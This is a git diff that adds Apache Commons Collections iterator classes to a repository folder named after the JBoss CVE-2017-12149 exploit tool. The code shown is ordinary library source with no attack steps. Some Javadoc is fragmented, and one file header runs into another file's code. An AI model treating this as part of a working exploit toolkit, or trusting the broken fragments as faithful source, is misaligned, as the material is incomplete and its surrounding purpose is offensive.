diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/package.html" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/package.html"
new file mode 100644
index 0000000..bb84c46
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/package.html"
@@ -0,0 +1,26 @@
+
+
+setArray
.
+ * array
is not an array.
+ * @throws NullPointerException if array
is null
+ */
+ public ArrayIterator(final Object array) {
+ super();
+ setArray(array);
+ }
+
+ /**
+ * Constructs an ArrayIterator that will iterate over the values in the
+ * specified array from a specific start index.
+ *
+ * @param array the array to iterate over.
+ * @param startIndex the index to start iterating at.
+ * @throws IllegalArgumentException if array
is not an array.
+ * @throws NullPointerException if array
is null
+ * @throws IndexOutOfBoundsException if the index is invalid
+ */
+ public ArrayIterator(final Object array, final int startIndex) {
+ super();
+ setArray(array);
+ checkBound(startIndex, "start");
+ this.startIndex = startIndex;
+ this.index = startIndex;
+ }
+
+ /**
+ * Construct an ArrayIterator that will iterate over a range of values
+ * in the specified array.
+ *
+ * @param array the array to iterate over.
+ * @param startIndex the index to start iterating at.
+ * @param endIndex the index to finish iterating at.
+ * @throws IllegalArgumentException if array
is not an array.
+ * @throws NullPointerException if array
is null
+ * @throws IndexOutOfBoundsException if either index is invalid
+ */
+ public ArrayIterator(final Object array, final int startIndex, final int endIndex) {
+ super();
+ setArray(array);
+ checkBound(startIndex, "start");
+ checkBound(endIndex, "end");
+ if (endIndex < startIndex) {
+ throw new IllegalArgumentException("End index must not be less than start index.");
+ }
+ this.startIndex = startIndex;
+ this.endIndex = endIndex;
+ this.index = startIndex;
+ }
+
+ /**
+ * Checks whether the index is valid or not.
+ *
+ * @param bound the index to check
+ * @param type the index type (for error messages)
+ * @throws IndexOutOfBoundsException if the index is invalid
+ */
+ protected void checkBound(final int bound, final String type ) {
+ if (bound > this.endIndex) {
+ throw new ArrayIndexOutOfBoundsException(
+ "Attempt to make an ArrayIterator that " + type +
+ "s beyond the end of the array. "
+ );
+ }
+ if (bound < 0) {
+ throw new ArrayIndexOutOfBoundsException(
+ "Attempt to make an ArrayIterator that " + type +
+ "s before the start of the array. "
+ );
+ }
+ }
+
+ // Iterator interface
+ //-----------------------------------------------------------------------
+ /**
+ * Returns true if there are more elements to return from the array.
+ *
+ * @return true if there is a next element to return
+ */
+ public boolean hasNext() {
+ return (index < endIndex);
+ }
+
+ /**
+ * Returns the next element in the array.
+ *
+ * @return the next element in the array
+ * @throws NoSuchElementException if all the elements in the array
+ * have already been returned
+ */
+ public Object next() {
+ if (hasNext() == false) {
+ throw new NoSuchElementException();
+ }
+ return Array.get(array, index++);
+ }
+
+ /**
+ * Throws {@link UnsupportedOperationException}.
+ *
+ * @throws UnsupportedOperationException always
+ */
+ public void remove() {
+ throw new UnsupportedOperationException("remove() method is not supported");
+ }
+
+ // Properties
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the array that this iterator is iterating over.
+ *
+ * @return the array this iterator iterates over, or null
if
+ * the no-arg constructor was used and {@link #setArray(Object)} has never
+ * been called with a valid array.
+ */
+ public Object getArray() {
+ return array;
+ }
+
+ /**
+ * Sets the array that the ArrayIterator should iterate over.
+ * array
is not an array.
+ * @throws NullPointerException if array
is null
+ */
+ public void setArray(final Object array) {
+ // Array.getLength throws IllegalArgumentException if the object is not
+ // an array or NullPointerException if the object is null. This call
+ // is made before saving the array and resetting the index so that the
+ // array iterator remains in a consistent state if the argument is not
+ // an array or is null.
+ this.endIndex = Array.getLength(array);
+ this.startIndex = 0;
+ this.array = array;
+ this.index = 0;
+ }
+
+ /**
+ * Resets the iterator back to the start index.
+ */
+ public void reset() {
+ this.index = this.startIndex;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/ArrayListIterator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/ArrayListIterator.java"
new file mode 100644
index 0000000..eb5fc76
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/ArrayListIterator.java"
@@ -0,0 +1,213 @@
+/*
+ * Copyright 1999-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.iterators;
+
+import java.lang.reflect.Array;
+import java.util.ListIterator;
+import java.util.NoSuchElementException;
+
+import org.apache.commons.collections.ResettableListIterator;
+
+/**
+ * Implements a {@link ListIterator} over an array.
+ * next()
+ * or previous()
. This is set to -1
if neither method
+ * has yet been invoked. lastItemIndex
is used to to implement
+ * the {@link #set} method.
+ *
+ */
+ protected int lastItemIndex = -1;
+
+ // Constructors
+ // ----------------------------------------------------------------------
+ /**
+ * Constructor for use with setArray
.
+ * array
is not an array.
+ * @throws NullPointerException if array
is null
+ */
+ public ArrayListIterator(Object array) {
+ super(array);
+ }
+
+ /**
+ * Constructs an ArrayListIterator that will iterate over the values in the
+ * specified array from a specific start index.
+ *
+ * @param array the array to iterate over
+ * @param startIndex the index to start iterating at
+ * @throws IllegalArgumentException if array
is not an array.
+ * @throws NullPointerException if array
is null
+ * @throws IndexOutOfBoundsException if the start index is out of bounds
+ */
+ public ArrayListIterator(Object array, int startIndex) {
+ super(array, startIndex);
+ this.startIndex = startIndex;
+ }
+
+ /**
+ * Construct an ArrayListIterator that will iterate over a range of values
+ * in the specified array.
+ *
+ * @param array the array to iterate over
+ * @param startIndex the index to start iterating at
+ * @param endIndex the index (exclusive) to finish iterating at
+ * @throws IllegalArgumentException if array
is not an array.
+ * @throws IndexOutOfBoundsException if the start or end index is out of bounds
+ * @throws IllegalArgumentException if end index is before the start
+ * @throws NullPointerException if array
is null
+ */
+ public ArrayListIterator(Object array, int startIndex, int endIndex) {
+ super(array, startIndex, endIndex);
+ this.startIndex = startIndex;
+ }
+
+ // ListIterator interface
+ //-----------------------------------------------------------------------
+ /**
+ * Returns true if there are previous elements to return from the array.
+ *
+ * @return true if there is a previous element to return
+ */
+ public boolean hasPrevious() {
+ return (this.index > this.startIndex);
+ }
+
+ /**
+ * Gets the previous element from the array.
+ *
+ * @return the previous element
+ * @throws NoSuchElementException if there is no previous element
+ */
+ public Object previous() {
+ if (hasPrevious() == false) {
+ throw new NoSuchElementException();
+ }
+ this.lastItemIndex = --this.index;
+ return Array.get(this.array, this.index);
+ }
+
+ /**
+ * Gets the next element from the array.
+ *
+ * @return the next element
+ * @throws NoSuchElementException if there is no next element
+ */
+ public Object next() {
+ if (hasNext() == false) {
+ throw new NoSuchElementException();
+ }
+ this.lastItemIndex = this.index;
+ return Array.get(this.array, this.index++);
+ }
+
+ /**
+ * Gets the next index to be retrieved.
+ *
+ * @return the index of the item to be retrieved next
+ */
+ public int nextIndex() {
+ return this.index - this.startIndex;
+ }
+
+ /**
+ * Gets the index of the item to be retrieved if {@link #previous()} is called.
+ *
+ * @return the index of the item to be retrieved next
+ */
+ public int previousIndex() {
+ return this.index - this.startIndex - 1;
+ }
+
+ /**
+ * This iterator does not support modification of its backing collection, and so will
+ * always throw an {@link UnsupportedOperationException} when this method is invoked.
+ *
+ * @throws UnsupportedOperationException always thrown.
+ * @see java.util.ListIterator#set
+ */
+ public void add(Object o) {
+ throw new UnsupportedOperationException("add() method is not supported");
+ }
+
+ /**
+ * Sets the element under the cursor.
+ * add()
and remove()
only allow set()
to be called
+ * once per call to next()
or previous
(see the {@link ListIterator}
+ * javadoc for more details). Since this implementation does
+ * not support add()
or remove()
, set()
may be
+ * called as often as desired.
+ *
+ * @see java.util.ListIterator#set
+ */
+ public void set(Object o) {
+ if (this.lastItemIndex == -1) {
+ throw new IllegalStateException("must call next() or previous() before a call to set()");
+ }
+
+ Array.set(this.array, this.lastItemIndex, o);
+ }
+
+ /**
+ * Resets the iterator back to the start index.
+ */
+ public void reset() {
+ super.reset();
+ this.lastItemIndex = -1;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/CollatingIterator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/CollatingIterator.java"
new file mode 100644
index 0000000..5dcdc0d
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/CollatingIterator.java"
@@ -0,0 +1,370 @@
+/*
+ * Copyright 1999-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.iterators;
+
+import java.util.ArrayList;
+import java.util.BitSet;
+import java.util.Collection;
+import java.util.Comparator;
+import java.util.Iterator;
+import java.util.List;
+import java.util.NoSuchElementException;
+
+import org.apache.commons.collections.list.UnmodifiableList;
+
+/**
+ * Provides an ordered iteration over the elements contained in
+ * a collection of ordered Iterators.
+ * A
and B
,
+ * the {@link #next} method on this iterator will return the lesser of
+ * A.next()
and B.next()
.
+ *
+ * @since Commons Collections 2.1
+ * @version $Revision: 1.13 $ $Date: 2004/02/18 00:59:50 $
+ *
+ * @author Rodney Waldhoff
+ * @author Stephen Colebourne
+ */
+public class CollatingIterator implements Iterator {
+
+ /** The {@link Comparator} used to evaluate order. */
+ private Comparator comparator = null;
+
+ /** The list of {@link Iterator}s to evaluate. */
+ private ArrayList iterators = null;
+
+ /** {@link Iterator#next Next} objects peeked from each iterator. */
+ private ArrayList values = null;
+
+ /** Whether or not each {@link #values} element has been set. */
+ private BitSet valueSet = null;
+
+ /** Index of the {@link #iterators iterator} from whom the last returned value was obtained. */
+ private int lastReturned = -1;
+
+ // Constructors
+ // ----------------------------------------------------------------------
+ /**
+ * Constructs a new CollatingIterator
. Natural sort order
+ * will be used, and child iterators will have to be manually added
+ * using the {@link #addIterator(Iterator)} method.
+ */
+ public CollatingIterator() {
+ this(null,2);
+ }
+
+ /**
+ * Constructs a new CollatingIterator
that will used the
+ * specified comparator for ordering. Child iterators will have to be
+ * manually added using the {@link #addIterator(Iterator)} method.
+ *
+ * @param comp the comparator to use to sort, or null to use natural sort order
+ */
+ public CollatingIterator(final Comparator comp) {
+ this(comp,2);
+ }
+
+ /**
+ * Constructs a new CollatingIterator
that will used the
+ * specified comparator for ordering and have the specified initial
+ * capacity. Child iterators will have to be
+ * manually added using the {@link #addIterator(Iterator)} method.
+ *
+ * @param comp the comparator to use to sort, or null to use natural sort order
+ * @param initIterCapacity the initial capacity for the internal list
+ * of child iterators
+ */
+ public CollatingIterator(final Comparator comp, final int initIterCapacity) {
+ iterators = new ArrayList(initIterCapacity);
+ setComparator(comp);
+ }
+
+ /**
+ * Constructs a new CollatingIterator
that will use the
+ * specified comparator to provide ordered iteration over the two
+ * given iterators.
+ *
+ * @param comp the comparator to use to sort, or null to use natural sort order
+ * @param a the first child ordered iterator
+ * @param b the second child ordered iterator
+ * @throws NullPointerException if either iterator is null
+ */
+ public CollatingIterator(final Comparator comp, final Iterator a, final Iterator b) {
+ this(comp,2);
+ addIterator(a);
+ addIterator(b);
+ }
+
+ /**
+ * Constructs a new CollatingIterator
that will use the
+ * specified comparator to provide ordered iteration over the array
+ * of iterators.
+ *
+ * @param comp the comparator to use to sort, or null to use natural sort order
+ * @param iterators the array of iterators
+ * @throws NullPointerException if iterators array is or contains null
+ */
+ public CollatingIterator(final Comparator comp, final Iterator[] iterators) {
+ this(comp, iterators.length);
+ for (int i = 0; i < iterators.length; i++) {
+ addIterator(iterators[i]);
+ }
+ }
+
+ /**
+ * Constructs a new CollatingIterator
that will use the
+ * specified comparator to provide ordered iteration over the collection
+ * of iterators.
+ *
+ * @param comp the comparator to use to sort, or null to use natural sort order
+ * @param iterators the collection of iterators
+ * @throws NullPointerException if the iterators collection is or contains null
+ * @throws ClassCastException if the iterators collection contains an
+ * element that's not an {@link Iterator}
+ */
+ public CollatingIterator(final Comparator comp, final Collection iterators) {
+ this(comp, iterators.size());
+ for (Iterator it = iterators.iterator(); it.hasNext();) {
+ Iterator item = (Iterator) it.next();
+ addIterator(item);
+ }
+ }
+
+ // Public Methods
+ // ----------------------------------------------------------------------
+ /**
+ * Adds the given {@link Iterator} to the iterators being collated.
+ *
+ * @param iterator the iterator to add to the collation, must not be null
+ * @throws IllegalStateException if iteration has started
+ * @throws NullPointerException if the iterator is null
+ */
+ public void addIterator(final Iterator iterator) {
+ checkNotStarted();
+ if (iterator == null) {
+ throw new NullPointerException("Iterator must not be null");
+ }
+ iterators.add(iterator);
+ }
+
+ /**
+ * Sets the iterator at the given index.
+ *
+ * @param index index of the Iterator to replace
+ * @param iterator Iterator to place at the given index
+ * @throws IndexOutOfBoundsException if index < 0 or index > size()
+ * @throws IllegalStateException if iteration has started
+ * @throws NullPointerException if the iterator is null
+ */
+ public void setIterator(final int index, final Iterator iterator) {
+ checkNotStarted();
+ if (iterator == null) {
+ throw new NullPointerException("Iterator must not be null");
+ }
+ iterators.set(index, iterator);
+ }
+
+ /**
+ * Gets the list of Iterators (unmodifiable).
+ *
+ * @return the unmodifiable list of iterators added
+ */
+ public List getIterators() {
+ return UnmodifiableList.decorate(iterators);
+ }
+
+ /**
+ * Gets the {@link Comparator} by which collatation occurs.
+ */
+ public Comparator getComparator() {
+ return comparator;
+ }
+
+ /**
+ * Sets the {@link Comparator} by which collation occurs.
+ *
+ * @throws IllegalStateException if iteration has started
+ */
+ public void setComparator(final Comparator comp) {
+ checkNotStarted();
+ comparator = comp;
+ }
+
+ // Iterator Methods
+ // -------------------------------------------------------------------
+ /**
+ * Returns true
if any child iterator has remaining elements.
+ *
+ * @return true if this iterator has remaining elements
+ */
+ public boolean hasNext() {
+ start();
+ return anyValueSet(valueSet) || anyHasNext(iterators);
+ }
+
+ /**
+ * Returns the next ordered element from a child iterator.
+ *
+ * @return the next ordered element
+ * @throws NoSuchElementException if no child iterator has any more elements
+ */
+ public Object next() throws NoSuchElementException {
+ if (hasNext() == false) {
+ throw new NoSuchElementException();
+ }
+ int leastIndex = least();
+ if (leastIndex == -1) {
+ throw new NoSuchElementException();
+ } else {
+ Object val = values.get(leastIndex);
+ clear(leastIndex);
+ lastReturned = leastIndex;
+ return val;
+ }
+ }
+
+ /**
+ * Removes the last returned element from the child iterator that
+ * produced it.
+ *
+ * @throws IllegalStateException if there is no last returned element,
+ * or if the last returned element has already been removed
+ */
+ public void remove() {
+ if (lastReturned == -1) {
+ throw new IllegalStateException("No value can be removed at present");
+ }
+ Iterator it = (Iterator) (iterators.get(lastReturned));
+ it.remove();
+ }
+
+ // Private Methods
+ // -------------------------------------------------------------------
+ /**
+ * Initializes the collating state if it hasn't been already.
+ */
+ private void start() {
+ if (values == null) {
+ values = new ArrayList(iterators.size());
+ valueSet = new BitSet(iterators.size());
+ for (int i = 0; i < iterators.size(); i++) {
+ values.add(null);
+ valueSet.clear(i);
+ }
+ }
+ }
+
+ /**
+ * Sets the {@link #values} and {@link #valueSet} attributes
+ * at position i to the next value of the
+ * {@link #iterators iterator} at position i, or
+ * clear them if the ith iterator
+ * has no next value.
+ *
+ * @return false iff there was no value to set
+ */
+ private boolean set(int i) {
+ Iterator it = (Iterator)(iterators.get(i));
+ if (it.hasNext()) {
+ values.set(i, it.next());
+ valueSet.set(i);
+ return true;
+ } else {
+ values.set(i,null);
+ valueSet.clear(i);
+ return false;
+ }
+ }
+
+ /**
+ * Clears the {@link #values} and {@link #valueSet} attributes
+ * at position i.
+ */
+ private void clear(int i) {
+ values.set(i,null);
+ valueSet.clear(i);
+ }
+
+ /**
+ * Throws {@link IllegalStateException} if iteration has started
+ * via {@link #start}.
+ *
+ * @throws IllegalStateException if iteration started
+ */
+ private void checkNotStarted() throws IllegalStateException {
+ if (values != null) {
+ throw new IllegalStateException("Can't do that after next or hasNext has been called.");
+ }
+ }
+
+ /**
+ * Returns the index of the least element in {@link #values},
+ * {@link #set(int) setting} any uninitialized values.
+ *
+ * @throws IllegalStateException
+ */
+ private int least() {
+ int leastIndex = -1;
+ Object leastObject = null;
+ for (int i = 0; i < values.size(); i++) {
+ if (valueSet.get(i) == false) {
+ set(i);
+ }
+ if (valueSet.get(i)) {
+ if (leastIndex == -1) {
+ leastIndex = i;
+ leastObject = values.get(i);
+ } else {
+ Object curObject = values.get(i);
+ if (comparator.compare(curObject,leastObject) < 0) {
+ leastObject = curObject;
+ leastIndex = i;
+ }
+ }
+ }
+ }
+ return leastIndex;
+ }
+
+ /**
+ * Returns true
iff any bit in the given set is
+ * true
.
+ */
+ private boolean anyValueSet(BitSet set) {
+ for (int i = 0; i < set.size(); i++) {
+ if (set.get(i)) {
+ return true;
+ }
+ }
+ return false;
+ }
+
+ /**
+ * Returns true
iff any {@link Iterator}
+ * in the given list has a next value.
+ */
+ private boolean anyHasNext(ArrayList iters) {
+ for (int i = 0; i < iters.size(); i++) {
+ Iterator it = (Iterator) iters.get(i);
+ if (it.hasNext()) {
+ return true;
+ }
+ }
+ return false;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/EmptyIterator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/EmptyIterator.java"
new file mode 100644
index 0000000..d8b5eb1
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/EmptyIterator.java"
@@ -0,0 +1,54 @@
+/*
+ * Copyright 2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.iterators;
+
+import java.util.Iterator;
+
+import org.apache.commons.collections.ResettableIterator;
+
+/**
+ * Provides an implementation of an empty iterator.
+ * IteratorUtils
.
+ *
+ * @since Commons Collections 2.1.1 and 3.1
+ * @version $Revision: 1.1 $ $Date: 2004/05/22 09:46:39 $
+ *
+ * @author Stephen Colebourne
+ */
+public class EmptyIterator extends AbstractEmptyIterator implements ResettableIterator {
+
+ /**
+ * Singleton instance of the iterator.
+ * @since Commons Collections 3.1
+ */
+ public static final ResettableIterator RESETTABLE_INSTANCE = new EmptyIterator();
+ /**
+ * Singleton instance of the iterator.
+ * @since Commons Collections 2.1.1 and 3.1
+ */
+ public static final Iterator INSTANCE = RESETTABLE_INSTANCE;
+
+ /**
+ * Constructor.
+ */
+ protected EmptyIterator() {
+ super();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/EmptyListIterator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/EmptyListIterator.java"
new file mode 100644
index 0000000..f6b9103
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/EmptyListIterator.java"
@@ -0,0 +1,54 @@
+/*
+ * Copyright 2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.iterators;
+
+import java.util.ListIterator;
+
+import org.apache.commons.collections.ResettableListIterator;
+
+/**
+ * Provides an implementation of an empty list iterator.
+ * IteratorUtils
.
+ *
+ * @since Commons Collections 2.1.1 and 3.1
+ * @version $Revision: 1.2 $ $Date: 2004/05/26 21:53:18 $
+ *
+ * @author Stephen Colebourne
+ */
+public class EmptyListIterator extends AbstractEmptyIterator implements ResettableListIterator {
+
+ /**
+ * Singleton instance of the iterator.
+ * @since Commons Collections 3.1
+ */
+ public static final ResettableListIterator RESETTABLE_INSTANCE = new EmptyListIterator();
+ /**
+ * Singleton instance of the iterator.
+ * @since Commons Collections 2.1.1 and 3.1
+ */
+ public static final ListIterator INSTANCE = RESETTABLE_INSTANCE;
+
+ /**
+ * Constructor.
+ */
+ protected EmptyListIterator() {
+ super();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/EmptyMapIterator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/EmptyMapIterator.java"
new file mode 100644
index 0000000..6c984ff
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/EmptyMapIterator.java"
@@ -0,0 +1,44 @@
+/*
+ * Copyright 2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.iterators;
+
+import org.apache.commons.collections.MapIterator;
+import org.apache.commons.collections.ResettableIterator;
+
+/**
+ * Provides an implementation of an empty map iterator.
+ *
+ * @since Commons Collections 3.1
+ * @version $Revision: 1.1 $ $Date: 2004/05/22 09:46:39 $
+ *
+ * @author Stephen Colebourne
+ */
+public class EmptyMapIterator extends AbstractEmptyIterator implements MapIterator, ResettableIterator {
+
+ /**
+ * Singleton instance of the iterator.
+ * @since Commons Collections 3.1
+ */
+ public static final MapIterator INSTANCE = new EmptyMapIterator();
+
+ /**
+ * Constructor.
+ */
+ protected EmptyMapIterator() {
+ super();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/EmptyOrderedIterator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/EmptyOrderedIterator.java"
new file mode 100644
index 0000000..409fec4
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/EmptyOrderedIterator.java"
@@ -0,0 +1,44 @@
+/*
+ * Copyright 2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.iterators;
+
+import org.apache.commons.collections.OrderedIterator;
+import org.apache.commons.collections.ResettableIterator;
+
+/**
+ * Provides an implementation of an empty ordered iterator.
+ *
+ * @since Commons Collections 3.1
+ * @version $Revision: 1.1 $ $Date: 2004/05/26 21:52:40 $
+ *
+ * @author Stephen Colebourne
+ */
+public class EmptyOrderedIterator extends AbstractEmptyIterator implements OrderedIterator, ResettableIterator {
+
+ /**
+ * Singleton instance of the iterator.
+ * @since Commons Collections 3.1
+ */
+ public static final OrderedIterator INSTANCE = new EmptyOrderedIterator();
+
+ /**
+ * Constructor.
+ */
+ protected EmptyOrderedIterator() {
+ super();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/EmptyOrderedMapIterator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/EmptyOrderedMapIterator.java"
new file mode 100644
index 0000000..58321e7
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/EmptyOrderedMapIterator.java"
@@ -0,0 +1,44 @@
+/*
+ * Copyright 2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.iterators;
+
+import org.apache.commons.collections.OrderedMapIterator;
+import org.apache.commons.collections.ResettableIterator;
+
+/**
+ * Provides an implementation of an empty ordered map iterator.
+ *
+ * @since Commons Collections 3.1
+ * @version $Revision: 1.1 $ $Date: 2004/05/22 09:46:39 $
+ *
+ * @author Stephen Colebourne
+ */
+public class EmptyOrderedMapIterator extends AbstractEmptyIterator implements OrderedMapIterator, ResettableIterator {
+
+ /**
+ * Singleton instance of the iterator.
+ * @since Commons Collections 3.1
+ */
+ public static final OrderedMapIterator INSTANCE = new EmptyOrderedMapIterator();
+
+ /**
+ * Constructor.
+ */
+ protected EmptyOrderedMapIterator() {
+ super();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/EntrySetMapIterator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/EntrySetMapIterator.java"
new file mode 100644
index 0000000..5fc1b27
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/EntrySetMapIterator.java"
@@ -0,0 +1,170 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.iterators;
+
+import java.util.Iterator;
+import java.util.Map;
+
+import org.apache.commons.collections.MapIterator;
+import org.apache.commons.collections.ResettableIterator;
+
+/**
+ * Implements a MapIterator
using a Map entrySet.
